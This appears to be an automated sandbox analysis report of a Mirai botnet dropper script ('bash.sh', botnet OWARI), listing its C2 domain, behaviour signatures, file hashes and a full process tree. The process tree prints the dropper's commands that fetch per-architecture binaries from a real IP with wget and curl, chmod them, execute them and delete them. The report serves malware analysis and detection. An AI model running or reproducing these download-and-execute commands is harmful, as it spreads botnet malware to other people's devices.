Analysis

  • max time kernel
    136s
  • max time network
    143s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250410-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250410-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/04/2025, 19:28

General

  • Target

    bash.sh

  • Size

    2KB

  • MD5

    2d7ab9da08f0022d323186c76ebfc718

  • SHA1

    c2ccbf8a8aa97324efc1794ab5e82ecc89950fa8

  • SHA256

    aff538d6b5b0c58f881f11de50f67baed41ccbdca3d4ba73b94c9300f343d900

  • SHA512

    0d4505ab4ac7dcb3abec7b67386800663f2d172d5e77a26158992dc459b3e5e55ead6b5182c7685d4501452dd817aa94022e275bf4c2146f4cbfa05a696d47e5

Malware Config

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 47 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bash.sh
    /tmp/bash.sh
    1⤵
    • Executes dropped EXE
    PID:706
    • /usr/bin/wget
      wget 87.121.84.211/GoldAge3ATOarm
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O 87.121.84.211/GoldAge3ATOarm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:735
    • /bin/chmod
      chmod 777 GoldAge3ATOarm
      2⤵
      • File and Directory Permissions Modification
      PID:751
    • /tmp/GoldAge3ATOarm
      ./GoldAge3ATOarm arn
      2⤵
        PID:753
      • /bin/rm
        rm -rf GoldAge3ATOarm
        2⤵
          PID:755
        • /bin/rm
          rm -rf GoldAge3ATOarm.1
          2⤵
            PID:756
          • /usr/bin/wget
            wget 87.121.84.211/GoldAge3ATOarm6
            2⤵
            • Writes file to tmp directory
            PID:758
          • /usr/bin/curl
            curl -O 87.121.84.211/GoldAge3ATOarm6
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:775
          • /bin/chmod
            chmod 777 GoldAge3ATOarm6
            2⤵
            • File and Directory Permissions Modification
            PID:788
          • /tmp/GoldAge3ATOarm6
            ./GoldAge3ATOarm6 arn6
            2⤵
              PID:789
            • /bin/rm
              rm -rf GoldAge3ATOarm6
              2⤵
                PID:791
              • /bin/rm
                rm -rf GoldAge3ATOarm6.1
                2⤵
                  PID:792
                • /usr/bin/wget
                  wget 87.121.84.211/GoldAge3ATOarm5
                  2⤵
                  • Writes file to tmp directory
                  PID:793
                • /usr/bin/curl
                  curl -O 87.121.84.211/GoldAge3ATOarm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:827
                • /bin/chmod
                  chmod 777 GoldAge3ATOarm5
                  2⤵
                  • File and Directory Permissions Modification
                  PID:828
                • /tmp/GoldAge3ATOarm5
                  ./GoldAge3ATOarm5 arn5
                  2⤵
                    PID:829
                  • /bin/rm
                    rm -rf GoldAge3ATOarm5
                    2⤵
                      PID:831
                    • /bin/rm
                      rm -rf GoldAge3ATOarm5.1
                      2⤵
                        PID:832
                      • /usr/bin/wget
                        wget 87.121.84.211/GoldAge3ATOarm7
                        2⤵
                        • Writes file to tmp directory
                        PID:833
                      • /usr/bin/curl
                        curl -O 87.121.84.211/GoldAge3ATOarm7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:834
                      • /bin/chmod
                        chmod 777 GoldAge3ATOarm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:835
                      • /tmp/GoldAge3ATOarm7
                        ./GoldAge3ATOarm7 arn7
                        2⤵
                          PID:836
                        • /bin/rm
                          rm -rf GoldAge3ATOarm7
                          2⤵
                            PID:838
                          • /bin/rm
                            rm -rf GoldAge3ATOarm7.1
                            2⤵
                              PID:839
                            • /usr/bin/wget
                              wget 87.121.84.211/GoldAge3ATOm68k
                              2⤵
                              • Writes file to tmp directory
                              PID:840
                            • /usr/bin/curl
                              curl -O 87.121.84.211/GoldAge3ATOm68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:841
                            • /bin/chmod
                              chmod 777 GoldAge3ATOm68k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:842
                            • /tmp/GoldAge3ATOm68k
                              ./GoldAge3ATOm68k m68k
                              2⤵
                                PID:843
                              • /bin/rm
                                rm -rf GoldAge3ATOm68k
                                2⤵
                                  PID:845
                                • /bin/rm
                                  rm -rf GoldAge3ATOm68k.1
                                  2⤵
                                    PID:846
                                  • /usr/bin/wget
                                    wget 87.121.84.211/GoldAge3ATOmips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:847
                                  • /usr/bin/curl
                                    curl -O 87.121.84.211/GoldAge3ATOmips
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:848
                                  • /bin/chmod
                                    chmod 777 GoldAge3ATOmips
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:849
                                  • /tmp/GoldAge3ATOmips
                                    ./GoldAge3ATOmips mips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:850
                                  • /bin/rm
                                    rm -rf GoldAge3ATOmips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:852
                                  • /bin/rm
                                    rm -rf GoldAge3ATOmips.1
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:853
                                  • /usr/bin/wget
                                    wget 87.121.84.211/GoldAge3ATOmpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:854
                                  • /usr/bin/curl
                                    curl -O 87.121.84.211/GoldAge3ATOmpsl
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:855
                                  • /bin/chmod
                                    chmod 777 GoldAge3ATOmpsl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:856
                                  • /tmp/GoldAge3ATOmpsl
                                    ./GoldAge3ATOmpsl mpsl
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:857
                                  • /bin/rm
                                    rm -rf GoldAge3ATOmpsl
                                    2⤵
                                      PID:861
                                    • /bin/rm
                                      rm -rf GoldAge3ATOmpsl.1
                                      2⤵
                                        PID:864
                                      • /usr/bin/wget
                                        wget 87.121.84.211/GoldAge3ATOppc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:865
                                      • /usr/bin/curl
                                        curl -O 87.121.84.211/GoldAge3ATOppc
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:866
                                      • /bin/chmod
                                        chmod 777 GoldAge3ATOppc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:867
                                      • /tmp/GoldAge3ATOppc
                                        ./GoldAge3ATOppc ppc
                                        2⤵
                                          PID:868
                                        • /bin/rm
                                          rm -rf GoldAge3ATOppc
                                          2⤵
                                            PID:870
                                          • /bin/rm
                                            rm -rf GoldAge3ATOppc.1
                                            2⤵
                                              PID:871
                                            • /usr/bin/wget
                                              wget 87.121.84.211/GoldAge3ATOsh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:872
                                            • /usr/bin/curl
                                              curl -O 87.121.84.211/GoldAge3ATOsh4
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:875
                                            • /bin/chmod
                                              chmod 777 GoldAge3ATOsh4
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:880
                                            • /tmp/GoldAge3ATOsh4
                                              ./GoldAge3ATOsh4 sh4
                                              2⤵
                                                PID:881
                                              • /bin/rm
                                                rm -rf GoldAge3ATOsh4
                                                2⤵
                                                  PID:883
                                                • /bin/rm
                                                  rm -rf GoldAge3ATOsh4.1
                                                  2⤵
                                                    PID:884
                                                  • /usr/bin/wget
                                                    wget 87.121.84.211/GoldAge3ATOspc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:885
                                                  • /usr/bin/curl
                                                    curl -O 87.121.84.211/GoldAge3ATOspc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:886
                                                  • /bin/chmod
                                                    chmod 777 GoldAge3ATOspc
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:887
                                                  • /tmp/GoldAge3ATOspc
                                                    ./GoldAge3ATOspc spc
                                                    2⤵
                                                      PID:888
                                                    • /bin/rm
                                                      rm -rf GoldAge3ATOspc
                                                      2⤵
                                                        PID:890
                                                      • /bin/rm
                                                        rm -rf GoldAge3ATOspc.1
                                                        2⤵
                                                          PID:891
                                                        • /usr/bin/wget
                                                          wget 87.121.84.211/GoldAge3ATOx64
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:892
                                                        • /usr/bin/curl
                                                          curl -O 87.121.84.211/GoldAge3ATOx64
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:893
                                                        • /bin/chmod
                                                          chmod 777 GoldAge3ATOx64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:894
                                                        • /tmp/GoldAge3ATOx64
                                                          ./GoldAge3ATOx64 x64
                                                          2⤵
                                                            PID:895
                                                          • /bin/rm
                                                            rm -rf GoldAge3ATOx64
                                                            2⤵
                                                              PID:897
                                                            • /bin/rm
                                                              rm -rf GoldAge3ATOx64.1
                                                              2⤵
                                                                PID:898
                                                              • /usr/bin/wget
                                                                wget 87.121.84.211/GoldAge3ATOx86
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:899
                                                              • /usr/bin/curl
                                                                curl -O 87.121.84.211/GoldAge3ATOx86
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:900
                                                              • /bin/chmod
                                                                chmod 777 GoldAge3ATOx86
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:901
                                                              • /tmp/GoldAge3ATOx86
                                                                ./GoldAge3ATOx86 x86
                                                                2⤵
                                                                  PID:902
                                                                • /bin/rm
                                                                  rm -rf GoldAge3ATOx86
                                                                  2⤵
                                                                    PID:904
                                                                  • /bin/rm
                                                                    rm -rf GoldAge3ATOx86.1
                                                                    2⤵
                                                                      PID:905

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /tmp/GoldAge3ATOarm

                                                                    Filesize

                                                                    42KB

                                                                    MD5

                                                                    c450287488c02d16b3a4d708f52c88f3

                                                                    SHA1

                                                                    e6dbb297ef45c865252aeb562a885fe92b7f4ecd

                                                                    SHA256

                                                                    89b03a45d7247066b6e36987e767321df6c93e5da9211599382231dbc319124f

                                                                    SHA512

                                                                    00b60c8a78f28f1ac74f0b8b67b453f3d82b79dcd3024406d67b324468ba7b173cc9dc3ab3a0cb153ee7d800c7ed21ac8da42f5404f9930b2e4ee643a23f9c4c

                                                                  • /tmp/GoldAge3ATOarm5

                                                                    Filesize

                                                                    34KB

                                                                    MD5

                                                                    9920d0c6d83268d5a92873c0a88d844e

                                                                    SHA1

                                                                    e1c462e75c223d189b3b90aca11abdfb52eae07d

                                                                    SHA256

                                                                    43df4c490a0c4fb6441da46d20d9951660181f9263133b2f899dea7eac6341b8

                                                                    SHA512

                                                                    ddb4a213ac007e1ba9ee5456da74d29db5ce27d75cdcd8d8e5b264aa2f7c0181be3db53fca3b1fb5a90f8e3d17816ebb656cc8d4949b412cec13b3d23e496b25

                                                                  • /tmp/GoldAge3ATOarm6

                                                                    Filesize

                                                                    53KB

                                                                    MD5

                                                                    427836d7fe3ef69bf382254594afa704

                                                                    SHA1

                                                                    f98c7a920e54edfe3be904e714beccb282b4d144

                                                                    SHA256

                                                                    9bc400a3481588713aff47eed5c674c65c4fc86a8989a0e6a0a5d192a2a1e819

                                                                    SHA512

                                                                    3a87ba82db4231d52f1315b41af062008e09c3d56a8c797fe895cf2626b6d779e39594076c969fe4abca92061ae56e9e0c5728f47a31db9e0eb55dd3d74ace8a

                                                                  • /tmp/GoldAge3ATOarm7

                                                                    Filesize

                                                                    110KB

                                                                    MD5

                                                                    99e61696ca35012b8c69f6c731a59785

                                                                    SHA1

                                                                    b43c2162ff84e0f6acea26e7460de1b7e495d1c0

                                                                    SHA256

                                                                    e7ae67bb2a538b8b0cb47b63ebe5bedef92a5b9162602f6e890f00b85292ae8d

                                                                    SHA512

                                                                    c6595d134c90db5d608f0cb87408618aff37a26aadf26e96013f433fed221a720337b5028b7d4240787d22c1832b531536d575c781b2d08a4150cd4006f91161

                                                                  • /tmp/GoldAge3ATOm68k

                                                                    Filesize

                                                                    41KB

                                                                    MD5

                                                                    63c9e8a372315ca524c5fa48b4850bb1

                                                                    SHA1

                                                                    7f43c56bf21a63ed43815727485f679b71205f53

                                                                    SHA256

                                                                    75f014e92597e623b2b736a8151c064cb24db3b98a20d799289fc38158c3fc59

                                                                    SHA512

                                                                    980bec675f7fb7e49c324862c1365c59477c0abc1e44ee0fc492469f1d7cfdd797d3f310e37c88d319d9f4dec7bb1e8be62ff5d5350bb04cb5f779292e8d6f0f

                                                                  • /tmp/GoldAge3ATOmips

                                                                    Filesize

                                                                    53KB

                                                                    MD5

                                                                    9012e5856c1fd984cd12933f24732d77

                                                                    SHA1

                                                                    bc22b13420bda96c2149c3ca7ea2282c3420bcaa

                                                                    SHA256

                                                                    2d344bfba742dc842beb77b1e887ebda98522bdbfb0d8a3659e06fa9a868d5e9

                                                                    SHA512

                                                                    9df3ab60fce9c97f203d87138ced891efa969e0b7fe05f63ef449045dc49c497553bcccebc6423f9a9353776505da710fc9357887fd551e322298f428cc97638

                                                                  • /tmp/GoldAge3ATOmpsl

                                                                    Filesize

                                                                    55KB

                                                                    MD5

                                                                    e45501135281c063d31d44e1298ee62a

                                                                    SHA1

                                                                    837b3edda67a85e5e2e42adc20e4473bae51f6c4

                                                                    SHA256

                                                                    bc43f4a8d12ec63b6fcee4d2776287752706635a4b967538c2c44ea6f84857c2

                                                                    SHA512

                                                                    6a9abb3987800909124fbf4efed6f80c0cb1a1ebce2468967c6e2d7e57878075004ac1c8550c612a389b88e2b443e73ffb6baf7cb46290621dee65b216e16d46

                                                                  • /tmp/GoldAge3ATOppc

                                                                    Filesize

                                                                    39KB

                                                                    MD5

                                                                    2f59ff0cd460d3511febd4db4dfc7a0a

                                                                    SHA1

                                                                    afaf8dcb883b08f88ace62242d17175da3b95cf7

                                                                    SHA256

                                                                    85459fee9c3061fc5a2d8866f8e8027cb92a83e7e88f18dcfa139e660698a4ca

                                                                    SHA512

                                                                    c0ca7e2db094ba5d2c284b8920917f5935bdec7b7f39de9976a3289b2a0801e29e8034ff064bbcc5aab0624daada425adc92319f9787b1f8a4a157223155ec7f

                                                                  • /tmp/GoldAge3ATOsh4

                                                                    Filesize

                                                                    36KB

                                                                    MD5

                                                                    f59f4df0313d6c9760b70a6fee151fc9

                                                                    SHA1

                                                                    797da66245a52b0e0a9aaa7c527a6ad6029de61f

                                                                    SHA256

                                                                    5f22aa5d6166a72897de26bf745fc1b1d5b5b1684c9e7e21151f8ad920bf09c5

                                                                    SHA512

                                                                    107c4cc9ec813c09461a9d18c722aef9ac6fab430a77f6eff67b2386794c05b34b2eb580ad05de59e44bbcc7681372668ccc0c7654a1f88bb606026873467c62

                                                                  • /tmp/GoldAge3ATOspc

                                                                    Filesize

                                                                    44KB

                                                                    MD5

                                                                    cdbec6cf5776c55e495165c922e92b02

                                                                    SHA1

                                                                    2473bfd2cf2acbcf02237ecc0083d08ff033b1ec

                                                                    SHA256

                                                                    47a31e12a7a55fa30217b791841685baf4049a5d6be1c691d95a679cdd16ce35

                                                                    SHA512

                                                                    4d65830663b5739ea46d0d670a436d61849ee4c19d480f2001c283d8a4af0726a03ad44ab00bb00d11429490684ea7cd6cc51529751659760c45d8e334bc15ff

                                                                  • /tmp/GoldAge3ATOx64

                                                                    Filesize

                                                                    41KB

                                                                    MD5

                                                                    c6e9544c8571f75627c68fc4e275a7f4

                                                                    SHA1

                                                                    12b304d438596b0ff3053a457a214abd5e0d8617

                                                                    SHA256

                                                                    70c748066485beec40defc4668b57a8af51045c06effd120abdb409c5f438233

                                                                    SHA512

                                                                    da8dd713e6d1c9a3cf24409b836953f8e59cea44446c0a1a95e3479378726763a35a254f02ebcf82befd00ee5cdad935e1d524c607861cfc5ff659a3953c60bd

                                                                  • /tmp/GoldAge3ATOx86

                                                                    Filesize

                                                                    37KB

                                                                    MD5

                                                                    ae22e503939c1cb1b92add6ce5b5e6e2

                                                                    SHA1

                                                                    be6212db3e8b8987e345b6a7460d45e193486db5

                                                                    SHA256

                                                                    f8660c2863d0e404403794d6c8e6394b71cec9f0cbf40bb7bb974b4cb70bf898

                                                                    SHA512

                                                                    475250b4d343eedbbac00f9a1caefdb6bfcddcb5d4626b358ff8035c662cc002efb8aa184c77a0ea204fcbf158a4b831c8ae9c39ff0ec8d21e24c29d810ba3ee